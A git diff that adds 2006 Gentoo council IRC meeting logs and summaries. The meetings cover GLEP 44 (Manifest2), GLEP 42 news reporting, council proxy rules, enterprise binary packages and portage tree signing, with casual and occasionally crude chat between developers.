+07:02PM * SwifT/#gentoo-council doesn't mind at all
+07:02PM <vapier> and i'm pretty sure we'd all vote yes
+-:- NetSplit: irc.freenode.net split from zelazny.freenode.net [07:02pm]
+-:- BitchX: Press ^F to see who left ^E to change to [irc.freenode.net]
+07:02PM <seemant> it's not for us to decide, I should think
+07:02PM <vapier> stupid freenode
+-:- [Users(#gentoo-council:10)] 
+[ kloeri_   ] [ tove      ] [@seemant   ] [@vapier    ] [ kallamej  ] 
+[vg2boojum  ] [ FuzzyRay  ] [@SwifT     ] [ spb       ] [@solar     ] 
+-:- Topic (#gentoo-council): Meeting at 1900 UTC (1400 EST) || anybody seen azarah in the last month?
+-:- Topic (#gentoo-council): set by vapier at Thu Jan 12 18:54:06 2006
+07:02PM <SwifT> regarding chairing, sorry, just saw the e-mail. Perhaps next meeting
+<solar> who did we lose on that split?
+07:03PM <seemant> I support g2boojum's ability to decide that :)
+07:03PM <SwifT> Koon
+-:- Koon [n=koon@gentoo/developer/Koon] has joined #gentoo-council
+-:- mode/#gentoo-council [+o Koon] by ChanServ
+07:03PM <SwifT> here he is
+<solar> ok next item is.
+<solar> * disallow multiple votes per person (from ciaranm)
+<solar>  http://marc.theaimsgroup.com/?t=113467833000002&r=1&w=2
+07:04PM <vapier> WFM
+07:04PM <SwifT> wfm?
+07:04PM <seemant> the reasoning in that email is sound
+07:04PM <Koon> yes too
+07:04PM <seemant> so yes, wfm2
+07:04PM <SwifT> isn't it Windows Meta Format or something?
+07:04PM <seemant> SwifT: works for me
+07:04PM <vapier> emerge wtf && wtf wfm
+07:04PM <SwifT> oh, that
+07:04PM <SwifT> yes, wfmaw
+07:04PM <vapier> pfft that isnt real
+07:05PM <vapier> you're just making s**t up
+07:05PM <Koon> brb phone
+07:05PM <seemant> have we all voted for that?
+07:05PM <seemant> (or a majority anyway)
+07:05PM <vapier> solar hasnt
+<solar> I dont see the point personally and what brought it up was I'm guessing me trying to cover for az last month. 
+<solar> but if the majority want to put into effect thats ok.
+<solar> so yes
+07:06PM <vapier> you're so accommodating
+07:06PM !alindeman:*! Hi all .. Regional server looks to be having some trouble; we're working to resolve it now
+<solar> next item is
+<solar> * global gentoo goals for 2006
+07:06PM <vapier> whee
+07:06PM <vapier> that thread went to garbage fast eh
+<solar> that we talked about a short bit in mail and said that global goals is not something that the council should decide. 
+<solar> anybody have any input towards that subject?
+07:08PM <vapier> i dont think that's it
+07:08PM <seemant> so my followup question is: who's role is that to play?
+<solar> explain please
+07:09PM !lilo:*! Problem with a temporary main rotation server; however, we'd removed it from the main rotation as soon as we could manage, and about 800 users were affected
+07:09PM <vapier> we cant just defer it, if we do we're saying "what Gentoo is now is good enough"
+07:10PM <SwifT> no, but some people would like to see us 7 give the global direction where Gentoo is heading at
+07:10PM <SwifT> which, frankly, will probably upset at least 7 other people :p
+07:10PM <SwifT> however, if the council could work on keeping track of Gentoo's shortcomings and possible interesting areas, we can give a boost to new proposals
+07:10PM <SwifT> well, not really "council" job, but someone has to :)
+07:11PM <vapier> that seems feasible
+07:11PM <SwifT> previously, the gentoo managers did that a bit
+07:11PM <seemant> honestly, that seems more like a gentoo council job than deciding date formats
+07:11PM <vapier> picking out the top "must have" goals and tracking them ?
+07:11PM <SwifT> =)
+07:11PM <SwifT> no, not "must have", a bit more abstract
+07:11PM <seemant> just my opinion, of course, but shouldn't we focus on high level stuff rather than low level stuff?
+07:11PM <seemant> as a council I mean
+07:12PM <SwifT> for instance, if lots of people want Gentoo to focus more to enterprises, the council can attempt to get the enterprise gentoo project up and running
+07:12PM <SwifT> without saying what we (the council) would like to see happen
+07:12PM <SwifT> no?
+07:14PM <seemant> I don't know
+07:14PM <Koon> back
+07:14PM <seemant> I'm honestly unclear on this
+07:14PM <SwifT> or, if people are too upset about lacking QA, we might want to make an analysis of that and start discussions about it
+07:15PM <vapier> theres the conflict of some devs disliking the lack of cohesiveness, singular purpose, while others are specifically looking for that
+07:15PM <SwifT> yet, saying that the gentoo web site is too slow is purely infrastructure project
+07:15PM <SwifT> true, but that doesn't mean we need to stand on opposite sides ourselves
+07:15PM <Koon> I think we can elect the top best cross-project ideas and hope (pray) that some team will form and do it... but not much more
+07:16PM <Koon> we lack people to do things, not people to have ideas
+07:16PM <Koon> see the enterprise stuff
+<solar> enterprise itself is tricky. Some have strong feelings that any enterprise should not contain bins. where I would think enterprise is the exact place we should be providing binpkgs
+07:16PM <SwifT> I'm in the middle, enterprise should inform the users how to create their own, coherent binplg set :)
+07:17PM <Koon> enterprise = freezed tree + reference bins
+07:17PM <SwifT> s/plg/pkg/
+07:17PM <vapier> eh, enterprise/GRP could be unified
+07:17PM <vapier> have some dedicated autobuild boxes ala-Debian and keep a tree of current stable binpkgs
+07:18PM <SwifT> which means freezing USE, C{,XX}FLAGS, make.profile, /etc/portage
+<solar> I'm attempting todo that now for x86
+07:18PM <vapier> there's no issue of freezing
+07:18PM <vapier> expand/automate GRP
+07:18PM <seemant> wait wait wait
+07:18PM <SwifT> sleep(10)
+07:18PM <Koon> vapier: once again, the best solution will probably be the one that a team forms around, not the one some other group decides
+07:18PM <seemant> are we as a council discussing enterprise as a future direction for 2006?
+07:19PM <seemant> or was the above just an example of something or the other?
+07:19PM <Koon> an example, I'd say :)
+07:19PM <SwifT> more of an example how we don't lack ideas
+-:- fox2mike [n=fox2mike@gentoo/developer/fox2mike] has joined #gentoo-council
+07:19PM <vapier> i'm pretty sure if we produce such a list and enterprise was not on it, that'd be quite a failing on our part
+-:- MetalGOD [n=DevNull@gentoo/developer/MetalGOD] has joined #gentoo-council
+07:19PM <vapier> it'd basically be us saying "Gentoo is not for use in corporations, toss off"
+07:20PM <SwifT> I don't think we'll be giving a list right now
+07:20PM <vapier> we're brainstorming now
+07:20PM <vapier> and i'm simply saying that enterprise/binpkg is a no-brainer imho
+-:- nattfodd [n=nattfodd@gentoo/developer/nattfodd] has joined #gentoo-council
+07:20PM <Koon> vapier: it just needs some people to work on it
+<solar> for the sake of anybody reading and willing to test here are my repos. ftp://tinderbox.x86.dev.gentoo.org/default-linux/x86/2005.1/All/Packages
+          ftp://tinderbox.x86.dev.gentoo.org/hardened/x86/Packages
+07:21PM <Koon> that we cannot force in any way
+07:21PM <vapier> i know
+07:21PM <Koon> but we can say "here are what we think would be good directions for Gentoo, if one of them interests you, pick it up"
+07:22PM <vapier> as i'm sure solar knows, i tend to be scatter brained in terms of what i'm working on at any one moment
+07:22PM <SwifT> I'm kinda wondering why, if there would be a good goal for gentoo, it wouldn't be part of a single project... we already have a good separation of duties for all non-pkg
+          development stuff
+07:22PM <vapier> having anyone dictate a specific project would make me angry
+07:23PM <Koon> maybe we should just talk about cross-project goals, not those requiring a whole new project team
+-:- agriffis [n=agriffis@gentoo/developer/agriffis] has joined #gentoo-council
+-:- mode/#gentoo-council [+o agriffis] by ChanServ
+07:24PM <vapier> chatting about global gentoo direction atm agriffis
+07:24PM <Koon> enterprise is more a project thing than a cross-project thing, so not sure it's our role to say "hey guys, here is a good one, now would you be so kind to form a team"
+07:24PM <agriffis> vapier: ok, thanks.  somebody email me the log so I can catch up?
+07:24PM <SwifT> isn't coaching people with good ideas on who to contact for what and how a good approach?
+07:24PM <Koon> but it might be our role to say, hey, portage and enterprise teams, please play nice
+07:25PM <SwifT> yeah, don't spank each other unless they like it
+07:25PM <Koon> anyway, we'll lack time at this meeting to define the goal list
+07:26PM <vapier> i think of it as us deciding whats most important in terms of greatest benefit to long term Gentoo
+07:26PM <Koon> was there anything else to discuss, 'coz this one can take a long time...
+07:26PM <agriffis> I understand that GLEP 45 and Ciaran's no-multiple-vote proposal have already been discussed.  Regarding the first one, it's fine with me.  Regarding the second, I wish I
+          hadn't missed the discussion, but the otherwise I don't think it's a bad idea anyway, so I'm fine with it.
+07:26PM <vapier> this was last item, but it was more of a brain storm session
+07:26PM <Koon> ok
+07:26PM <SwifT> or attempt to have new stuff well prepared for release... instead of just committing, making sure a press release is made with screenshots and articles, a nice news item, good,
+          solid documentation, ...
+<solar> that would be nice swift.
+07:27PM <Koon> vapier: we should also track progress in portage signing, since last month
+07:27PM <SwifT> that's theoretical :)
+<solar> I still like it
+07:27PM * SwifT/#gentoo-council for instance is really hoping axxo's java repo hits portage with a good release information, updated documentation, ...
+07:27PM <SwifT> :)
+07:28PM <SwifT> same with new features that gentoo/hardened supports
+07:28PM <vapier> well the manifest stuff is in portage now, so next step is handling of keys
+<solar> hardened is and probably will remain in maintenance mode. My goal is of course to see more hardened by default for gentoo
+07:29PM <vapier> hardened i see as being a slightly tweaked flavor
+07:29PM <vapier> that if all the other pieces fall into place, hardened is an extra pass
+07:30PM <SwifT> or what about a knowledge base for gentoo/linux? A place where errors are stored, the circumstances when that error will occur and how to resolve it together with information as
+          to why it happens...
+07:30PM <Koon> vapier: should we follow robbat2 solution or the old simple "keychain-stored-in-portage, validated once using master key, then at each emerge sync" solution ?
+07:30PM * SwifT/#gentoo-council stops brainstorming
+07:30PM <vapier> SwifT: that sounds like hopping onto irc and pasting an error into #gentoo :)
+07:31PM <SwifT> =)
+<solar> that is what wikis are for. But you the formep GDP lead did not want those if I recall
+07:31PM <SwifT> unable to mount root fs, probably the most frequent question on the forums
+07:31PM <agriffis> Koon: is the robbat2 solution published somewhere?
+07:31PM <SwifT> true, I don't like any  documentation way where no qa is involved
+07:31PM <SwifT> wikipedia is great because *many* eyes are watching
+07:31PM <Koon> agriffis: gentoo-dev archive I suppose...
+07:31PM <SwifT> gentoo-wiki fails there for most articles, for instance
+07:31PM <Koon> agriffis: hm. maybe was posted to -core
+<solar> I think there is a problem with robbat2's solution. portage devs seem to want it to go another direction. 
+<solar> sadly none of them are here to speak up
+07:32PM <agriffis> Koon: ok, I'll look for it.  Generally I'm impressed by anything that robbat2 suggests regarding gnupg, signing, etc.  I'd be hesitant to disregard it without careful
+          consideration.
+07:32PM <Koon> agriffis: history on the subject is : we had a painful discussion on gentoo-dev about 18 months ago and the solution most agreed on was the "simple but doable" one
+07:33PM !lilo:*! orphaned group contact for Novell, Inc....that group registration has been inactivated
+07:33PM <agriffis> Koon: ok, I'll have to look it up, I guess.  I'm sure I read it then, but it's slipped away at this point.
+07:33PM <Koon> then robbat2 said he would handle it and designed a nice solution... but apparently not taht easy to implement
+07:33PM <Koon> especially when its author disappears
+<solar> I trust robbat2 also, but the direction he wants to go in requires devs getting together for key signing parties to form big chains of trust.
+07:34PM <vapier> solar: i dont see how it can be done any other way
+<solar> that is clearly going to be a problem when we have a dev tucked away in some corner of the world
+07:34PM <Koon> I prefer the "simple but now" solution to the "unbreakable but tomorrow" one
+07:34PM <vapier> LWE and such help a lot with that
+07:35PM !lilo:*! Okay, deactivated if you prefer. Sheesh. Grammar wonks. *grin*
+07:35PM <SwifT> or, "simple now and unbreakable tomorrow"?
+07:35PM <agriffis> well, clearly whatever is implemented, we don't want to present it as something it isn't.
+-:- mpagano [n=mike@70.105.167.111] has joined #gentoo-council
+<solar> anybody ever met azarah or me in person?
+07:36PM <vapier> i'll fly down for butt sex with you solar
+07:36PM <SwifT> not sure I want that ;p
+07:36PM <agriffis> so if we go with a simple solution with flaws, we need to present it as that, and our reasons (meaning gentoo's not the council's) for doing so.
+<solar> I've say it should be simple to begin with and made stronger and better over time
+07:36PM <SwifT> j/k
+07:36PM <vapier> i'm gonna try to fly to fl this year, could make a stop over :p
+<solar> hush you
+07:37PM <Koon> I would just do a flat keychain for starters
+07:37PM <Koon> signed by a master key, verified by release media or public www servers
+07:37PM <vapier> well the level of trust would be up to the user
+07:37PM <Koon> always time to do chain of trust things to replace that
+07:37PM <vapier> same as with gpg, how did you verify the key/person
+07:39PM <Koon> the chain of trust thing adds identification to the process, that's not very useful... people trust "solar" more than "Ned Ludd"
+07:39PM <agriffis> What about a hybrid solution, where the level of trust in a key is reported somehow to the user on request?  (i.e. this package has a chain of trust from the master key vs.
+          this package has no chain of trust, or however robbat2's solution works)
+07:39PM <Koon> we just need authentication
+07:39PM <agriffis> perhaps I'm just demonstrating my lack of knowledge on the topic.
+07:39PM <vapier> agriffis: gpg already tracks that
+07:40PM <agriffis> vapier: good, but it needs to be wrapped in a portage interface so emerge can report easily
+07:41PM <vapier> i gotta jet, time for doctors appt
+<solar> cya vapier 
+07:42PM <agriffis> btw, since I arrived late... who is chairing?
+07:42PM <seemant> solar is chair
+<solar> I am?
+07:43PM <agriffis> ha, strike that from the log, quick!
+07:43PM <SwifT> you are pointing out the agenda subjects :)
+<solar> sorry I just wanted to get this thing going today.
+07:43PM <SwifT> :)
+<solar> anyway I guess the formal meeting was over when agriffis added his votes in
+<solar> everything else remains brainstorming?
+07:44PM <Koon> yes
+07:44PM <Koon> we should require proper glepping of robbat2's solution
+<solar> ok then back to portage signing. 
+<solar> another blocker I see is the whole eclass+profiles 
+07:45PM <Koon> I thought that was taken care of.
+<solar> repoman has no support for those and probably wont for some time. But it's clear we will need a wrapper around commiting to those
+-lilo(i=levin@freenode/staff/pdpc.levin)- [Server Notice] Hi all. Just a reminder: we're aiming to restart the server you're on, zelazny.freenode.net, this weekend. Please help us get it done
+                                          by disconnecting and reconnecting to chat.freenode.net at your first opportunity. Thanks in advance for your help, and thank you for using freenode!
+<solar> I'm not away that was taken care of by any tool
+<solar> what have you heard on the subject which makes you think that?
+07:46PM <Koon> maybe discussion on new eclasses a few months ago
+07:46PM <Koon> I don't remember
+07:47PM <agriffis> another thing I'd like to know about is interaction between signing and binary packages.  just wondering how/if that would work.
+07:48PM <SwifT> makes me think about disec
+<solar> we are going to have to come up with a detached method for signatures
+<solar> disec was the in ELF signatures?
+07:48PM <SwifT> yup
+<solar> if so that wont work. think shell scripts
+<solar> that entire idea was flawed. We picked it apart for two days in hardned
+07:49PM <SwifT> ah
+<solar> brb
+07:49PM <Koon> binary packages are tarballs... so I guess they could include signature info
+07:50PM <Koon> but that definitely needs some more work in design
+07:50PM <Koon> hence the "show me your GLEP" thing
+07:51PM * SwifT/#gentoo-council needs to go, catch my train 
+07:51PM <SwifT> sorry folks
+07:52PM <Koon> hm. we should definitely brainstorm some more
+07:52PM <Koon> but no need to do it in-session
+07:55PM <Koon> looks like the meeting is dead -- solar if you have the log you can cvs it... that will earn you your chairman turn :)
+<solar> I do not have a log
+07:56PM <Koon> me neither :)
+<solar> however my scrollback buffer does go back till last meeting
+<solar> I'll do it the hard copy+paste way
+07:57PM <tove> so why not start a tree signing project to gather all problems, questions, solutions, ideas. taking the discussion away from -dev or -core for some time
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20060209-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20060209-summary.txt
new file mode 100644
index 00000000..ae683c55
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20060209-summary.txt
@@ -0,0 +1,17 @@
+Present:
+  azarah (Martin Schlemmer)
+  Koon (Thierry Carrez)
+  Swift (Sven Vermeulen)
+  agriffis (Aron Griffis)
+  seemant (Seemant Kulleen)
+  solar (Ned Ludd)
+  vapier (Mike Frysinger)
+
+Agenda:
+ * GLEP 44 - Manifest2 format
+
+Outcome:
+ * Council members were generally in agreement that GLEP 44 is a good idea, but
+   without genone present to answer questions, the council was unwilling to
+   approve or deny it.  Postponed to next meeting, with the expectation that
+   genone or a proxy will attend then.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20060209.txt b/xml/htdocs/proj/en/council/meeting-logs/20060209.txt
new file mode 100644
index 00000000..c17d3c28
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20060209.txt
@@ -0,0 +1,134 @@
+--- Log opened Thu Feb 09 13:55:27 2006
+14:04 <@Koon> ok, let's start
+14:05 <@Koon> yes
+14:05 -!- mode/#gentoo-council [+m] by Koon
+14:05 <@SwifT> Koon: I'm here
+14:05 <@SwifT> vapier: ^^
+14:05 -!- Halcyon [n=halcy0n@pdpc/supporter/active/Halcy0n-gentoo] has joined #gentoo-council
+14:07 <@solar> yes
+14:07 -!- az [n=ms@gentoo/developer/azarah] has joined #gentoo-council
+14:07 -!- mode/#gentoo-council [+o az] by ChanServ
+14:07 <@vapier> so all we've got is GLEP 44
+14:07 <@vapier> peeps have read it ?
+14:07 <@vapier> http://www.gentoo.org/proj/en/glep/glep-0044.html
+14:07 <@solar> genone is not here agan.
+14:07 <@Koon> vapier: there is also a clarification of wording for the proxy thing asked by ciaranm, we'll discuss it during Q&A
+14:08 <@vapier> no, genone is not here, but i think this glep is pretty straight forward
+14:08 <@Koon> I read it some time ago
+14:09 <@Koon> It wasn't opposed, I tend to vote yes, does anybody need some explanations from genone to approve it ?
+14:09 <@vapier> i'm all for it
+14:09 <@agriffis> I've read it and think it looks great.
+14:10 <@vapier> to extend the compatibly forever, we could just provide old style digests for the portage package
+14:10 <@vapier> then users would `emerge portage --nodeps` and they'd be fine
+14:10 <@vapier> but that's a helpful note, doesnt affect acceptability of the GLEP
+14:10 <@az> dont have an issue, but they dont mention how long the transition will be ?
+14:10 <@az> or i misread it
+14:11 <@Koon> "No timeframe for implementation is presented here as it is highly dependent on the completion of each step."
+14:11  * Koon writes this one down, could serve him well in the future
+14:12 <+g2boojum> az: When talking to the portage team they have said about a year if one wants to minimize user system breakages.  I'd actually prefer a "flag day", myself.
+14:12 <@Koon> az: "... a full conversion will take over a year to be completed ..."
+14:12  * agriffis is surprised to find himself in the credits
+14:12 <@az> well, like vapier said, could just keep the old stuff for portage around
+14:12  * agriffis takes all the credit
+14:13 <@vapier> seemant / SwifT ?
+14:13 <@seemant> I'm here sorry
+14:13 <@SwifT> I'm trying to think of something sensible to say that hasn' tbeen said or isn't in the GLEP, but all I can think of is "can't wait"
+14:13 <@seemant> yep, basically
+14:14 <@SwifT> also, I'm personally in favor of shortening the transition period (< 1 year)... big bang transition :) but that's something that'll be seen later when we're at it
+14:15 <@Koon> so... how do we solve this one
+14:16 <@Koon> it's OK, but transition time needs to e precised and we prefer it short ?
+14:16 <@az> guess that is outside our job
+14:16 <@Koon> last time we half-approved a GLEP there was some backslash :)
+14:16 <@solar> you make the author show up to these meetings vs trying toi figure this stuff out (perhaps incorrectly on our own)
+14:16 <@SwifT> no, it's okay and we're eagerly awaiting the evolution of the work
+14:16 <@az> could maybe just not that we would like it to be short and sweet
+14:16 <@az> note*
+14:16 <@vapier> does timeframe really matter
+14:17 <@vapier> GLEP 44: approved, cant wait to see it !
+14:17 <@vapier> ?
+14:17 <@SwifT> it isn't known yet how the transition period will be, that's something that'll be given later on
+14:17 <@solar> vapier: eh?
+14:17 <@vapier> solar: was asking, not telling
+14:18 <@SwifT> I don't think anyone is against :)
+14:18 <@Koon> I vote yes, don't mind the transition period
+14:18 <@solar> well I can say right now I have no intentions of voting in favor or against
+14:18 <@solar> not without the author being here. I have questions and comments
+14:19 <@vapier> that's fine
+14:19 <@vapier> new rule: for your GLEP to be approved, you must be present ?
+14:19 <@SwifT> it might not be easy for him to get to the meetings; I suppose contacting him through e-mail (probably through mailinglist) is the best
+14:19 <@Koon> or a proxy
+14:20 <@solar> or a proxy. Somebody really needs to be here on behalf of a given glep
+14:20 <@SwifT> err, if a GLEP isn't clear on all subjects, I think it should be covered on the mailinglist; I don't think presence of the author is required (not everyone can be here at 1900UTC)
+14:20 <@solar> AUXFILE, EBUILD, DISTFILE (minor detail but that is a waste of space)
+14:21 <@vapier> {A,E,D} ? :p
+14:21 <@solar> better imo
+14:21 <@vapier> along that line, everyone cool with putting this off for a month requesting someone field our questions ?
+14:22 <@vapier> solar: better for you to start a thread on the list after that with your questions/etc...
+14:22 <@Koon> we should probably have anticipated those...
+14:22 <@Koon> and solved them before the meeting. That's the whole point of putting the GLEP on -dev
+14:23 <@Koon> but I tend to agree that /now/ holding it off might be the only solution without the author here
+14:23 <@Koon> also I'm short in time so I tend to agree with any quick solution
+14:24 <@vapier> works for me
+14:24 <@vapier> anyone else ?
+14:24 <@solar> nod. the 1 year seems a bit extraneous. I like grants idea with a given flag day
+14:25 <@az> month maybe two after support is in, and keep old digest/manifest for only portage around
+14:25 <@az> and make a point that we should try to cover all q&a on -dev, and try to get the author/proxy here in case there is last minute stuff
+14:26 <@Koon> history note: that point was raised during -dev discussion, it's just the author choice to choose long transition rather than flagday
+14:27 <@Koon> so everyone agrees... SwifT  ?
+14:27 <@az> problem with long transitions is they get swept under the rug
+14:27 <@az> anyhow, so we postphone this? now to q&a ?
+14:27 <@SwifT> I'm a bit disappointed that it would be stalled; I think that the issues raised are point-of-view issues that depend on the person...
+14:28 <@SwifT> but I'm not against postponing it... just hoped that it would be approved
+14:28 <@Koon> seemant ?
+14:28 <@seemant> flag day is an idea I tend to prefer
+14:28 <@seemant> but it would *have* to be hugely publicised
+14:29 <@seemant> honestly, I think it's a great idea, and we (gentoo as a whole) should just go towards implementing it
+14:29 <@Koon> OK so, we agree with the GLEP but are not sure to agree with the transition period system, this point needs to be precised before the GLEP is fully approved
+14:29 <@seemant> we just set a day, spread that day, make a countdown or something, and just go
+14:30 <@seemant> Koon: I'd say we all approve of the glep, but just differ on the timelines for items 3, 4, and 5
+14:30 <@SwifT> the transition can be discussed/voted upon later on, when the manifest with backwards compatibility is in place
+14:30 <@solar> well my only two concerns at this point is the filetype specifier should be 1-3 chars. And that a 1-3 month time frame till completion. I'm not really in favor of having so many checksums (a limit of two would be nice).
+14:30 <@solar> 2.5 concerns
+14:31 <@Koon> basically, we really need to discuss those options with the author, maybe he has a good rationale for those choices, aznd we need to hear it before slashing
+14:32 <@Koon> anyone wants to add something before Q&A ?
+14:34 <@az> no
+14:35 <@Koon> ok, Q&A
+14:35 -!- mode/#gentoo-council [-m] by Koon
+14:35 <@Koon> ciaranm had the following question
+14:35 <@Koon>  approval on the exact wording "A proxy must not be an existing council member, and any single person may not be a proxy for more than one council member at any given meeting." for the changes discussed last month
+14:35 <@Koon> sounds ok to me
+14:36 <@SwifT> was what I had in mind back then, yes
+14:36  * ciaranm doesn't want to update the GLEP until he's sure that everyone is totally ok with the wording
+14:36 < ciaranm> there's enough iffy phrasing in the proxy stuff as it is :)
+14:38 < ciaranm> mmmm, guess i'll take that as a yes then
+14:38 <@Koon> that's two yes, in fact
+14:38 <@SwifT> overwhelming majority :)
+14:39  * ciaranm idly wonders who all is here
+14:39  * frilled|home raises a hand
+14:39 <@Koon> ciaranm: those are mostly bots, programmed in java and communicating in XML, that explains the lag
+14:39 < ciaranm> no bittorrent? :(
+14:40 <@Koon> bittorrent is only used to download the GLEP
+14:40 <@SwifT> no, it's SOAP, read by an articifial voice over the Skype network
+14:40 <@Koon> it's then fed to an expert system that makes up silly questions
+14:41 < ciaranm> ok, i have to go eat. feel free to prod me with any wording changes. otherwise i'm assuming silence means "sure, whatever"
+14:41 <@SwifT>  
+14:41 <@Koon> OK, anyone has an other question for the sleeping council members ?
+14:41 < frilled|home> SwifT: let me know if I can be of any help,ok?
+14:42 <@SwifT> frilled|home: mind mailing me? Just in case I need to contact you, it'be good to have tyour e-mail... or are you on the gentoo-pr@ mailinglist?
+14:42 <@az> although i guess this is mostly targetted at me, i missed the last discussion so dont see any use of making comments.
+14:42 < frilled|home> SwifT: no, but I am on #gentoo-security as much as I am only
+14:42 < frilled|home> online :D
+14:43 <@Koon> no more questions, let's call it a day.
+14:43 <@SwifT> frilled|home: okay, I'll try to remember your nickname then :)
+14:43 -!- Koon changed the topic of #gentoo-council to: Meeting was Feb 9 at 1900 UTC (1400 EST)
+14:43 <@agriffis> ciaranm: fwiw, I was distracted, but I think that wording change is fine.
+14:44 <@Koon> anyone with Power-LOG[tm] can post the thing to CVS ?
+14:44  * Koon is log-impaired
+14:44 <@agriffis> regarding the Manifest2 change, I'd personally prefer to see a graceful and gradual transition rather than a flag day, but that's mostly because sudden changes usually break one way or another, then it's a fire.
+14:44 <@agriffis> Koon: I'll post it to cvs, sure
+14:45 <@Koon> for the record, all members were somewhat-here
+14:45 <@agriffis> yep
+14:45 < frilled|home> Koon: nice wording :D
+14:45  * Koon goes back to RL
+14:46 -!- Koon [n=koon@gentoo/developer/Koon] has left #gentoo-council ["Leaving"]
+14:46 <@solar> agriffis: I can see that but I'd hope it personally not be dragged out past 3 months
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20060309-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20060309-summary.txt
new file mode 100644
index 00000000..ef091674
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20060309-summary.txt
@@ -0,0 +1,28 @@
+Present:
+  Koon (Thierry Carrez)
+  Swift (Sven Vermeulen)
+  agriffis (Aron Griffis)
+  dsd_ (Daniel Drake)
+  cshields (Corey Shields)
+  vapier (Mike Frysinger)
+
+Agenda:
+ * GLEP 44 - Manifest2 format after council recommended changes
+ * GLEP 42 - Critical News Reporting
+
+Outcome:
+ * Council members were generally in agreement that GLEP 44 is a good idea,
+and were happy with the changes that genone made to the document after the
+last meeting.  
+
+ * Concil members decided that in order to vote on GLEP 42, an
+implementation plan needed to be submitted with the glep.  Generally, they
+agreed that it's a good idea, but only if it's actually implemented.
+Questions arose as to who will be doing the implementation work.
+
+ * An interesting point of concern is what to do in the absence of an active
+maintainer, with regards to security flaws in packages. An absent maintainer
+in this sense is either one who is inattentive or one who is away/missing/gone
+for some reason.  Hopefully a future glep or thread will expand dsd's idea for
+opening up the development community. Has anyone seen where the LWP-UserAgent
+might have gone off to?
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20060309.txt b/xml/htdocs/proj/en/council/meeting-logs/20060309.txt
new file mode 100644
index 00000000..67fb162e
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20060309.txt
@@ -0,0 +1,189 @@
+--- Log opened Thu Mar 09 18:22:56 2006
+18:22 -!- dsd_ [n=dsd@gentoo/developer/dsd] has joined #gentoo-council
+18:22 -!- Irssi: #gentoo-council: Total of 9 nicks [3 ops, 0 halfops, 0 voices, 6 normal]
+18:22 -!- Irssi: Join to #gentoo-council was synced in 1 secs
+18:23 -!- Halcyon [n=halcy0n@pdpc/supporter/active/Halcy0n-gentoo] has joined #gentoo-council
+18:32 -!- cshields [n=cshields@osuosl/staff/cshields] has joined #gentoo-council
+18:53 < dsd_> which gleps are voted on tonight?
+18:53 < dsd_> 42 and 44?
+18:55 <@Koon> tyhat's what I have
+18:55 <@Koon> but I didn't read all gentoo-dev so I might have missed some vote requests
+18:55 <@Koon> back in 10 minutes
+18:57 <@SwifT> damned, 42 has been improved since I last read it
+19:00 -!- vapier [i=UserBah@wh0rd.org] has joined #gentoo-council
+19:00 -!- mode/#gentoo-council [+o vapier] by ChanServ
+19:00 -!- Netsplit adams.freenode.net <-> irc.freenode.net quits: Lejban
+19:01 -!- Netsplit over, joins: Lejban
+19:02 -!- seemant [n=trinity@gentoo/developer/seemant] has joined #gentoo-council
+19:02 -!- mode/#gentoo-council [+o seemant] by ChanServ
+19:02 <@seemant> hi all, dsd_ is my proxy
+19:02 -!- mode/#gentoo-council [+o dsd_] by seemant
+19:02 -!- mode/#gentoo-council [-o seemant] by seemant
+19:03  * vapier touches seemant's proxy
+19:03 <@Koon> vapier: proxies are not toys
+19:04 -!- agriffis [n=agriffis@gentoo/developer/agriffis] has joined #gentoo-council
+19:04 -!- mode/#gentoo-council [+o agriffis] by ChanServ
+19:05 <@dsd_> abuse!
+19:06 < cshields> greetings all!  I'll be standing in for solar
+19:06 -!- mode/#gentoo-council [+o cshields] by Koon
+19:06 <@SwifT> 'evening both of you
+19:07 <@cshields> or morning..  ;)
+19:07 <@vapier> dsd_: it's only abuse if you didnt like it
+19:07 <@Koon> who wants to chair ? I may have to leave early so I prefer not to
+19:08 <@vapier> i may have to jet, work has meetings on me today
+19:08 <@vapier> but i think we only have the manifest2 glep today correct ?
+19:08 <@SwifT> and news thingie
+19:08 <@vapier> the news thing wasnt requested i thought
+19:08 <@Koon> well it all depends if we consider we should vote on glep 42 too
+19:08 -!- mode/#gentoo-council [+m] by Koon
+19:08 <@SwifT> if I can believe Koon and dsd
+19:09 <@dsd_> SwifT: dont listen to me
+19:09 <@vapier> lets do GLEP 44 first :P
+19:09 <@Koon> easy cake: yes
+19:09 <@SwifT> 1
+19:09 <@vapier> i think all our maybes and such were covered sufficiently on the list
+19:09 <@cshields> solar votes yes
+19:09 <@Koon> anyone covering up azarah's ass ?
+19:09 <@vapier> any last questions ? (and if you have one i kill you for not asking it on the dev list)
+19:10 <@SwifT> that's blackmail
+19:10 <@dsd_> i vote yes (on seemant's behalf)
+19:10 <@agriffis> yes to 42
+19:10 <@vapier> ok, i'll just poke you, i wont kill you :p
+19:10 <@Koon> agriffis: current itam is 44
+19:11 <@vapier> i'm for 42 as well
+19:11 <@agriffis> I meant 44, sorry
+19:11 <@vapier> adsflkajsdfl 44
+19:11  * vapier blames agriffis
+19:11 <@Koon> ok then we have a winner
+19:12 <@Koon> up to GLEP 42, wit the traditional question: should we really vote on it given it's not been properly submitted
+19:12 <@SwifT> oh well, no then
+19:12 <@Koon> I propose that we emit an opinion and raise any question we may have, and pompously vote on it next month
+19:13 <@cshields> solar touched on this in an email, but to me it seems to be missing an implementation plan.   If it is voted on (and approved) it may end up sitting for a while without any action.  We made a similar mistake with the webiste redesign vote long ago
+19:13 <@Koon> cshields: unfortunately we cannot really enforce implementation plan
+19:13 <@vapier> we can
+19:13 <@Koon> it needs someone to pick it up
+19:13 -!- Netsplit adams.freenode.net <-> irc.freenode.net quits: Lejban
+19:13 <@vapier> we dont approve it w/out an implementation plan :P
+19:13 -!- Netsplit over, joins: Lejban
+19:14 <@cshields> Koon: you don't need to -enforce- one..  but some kind of a plan would be nice  :)
+19:14 <@Koon> then we can emit a favorable opinion on the content but require some implementation details to accept it
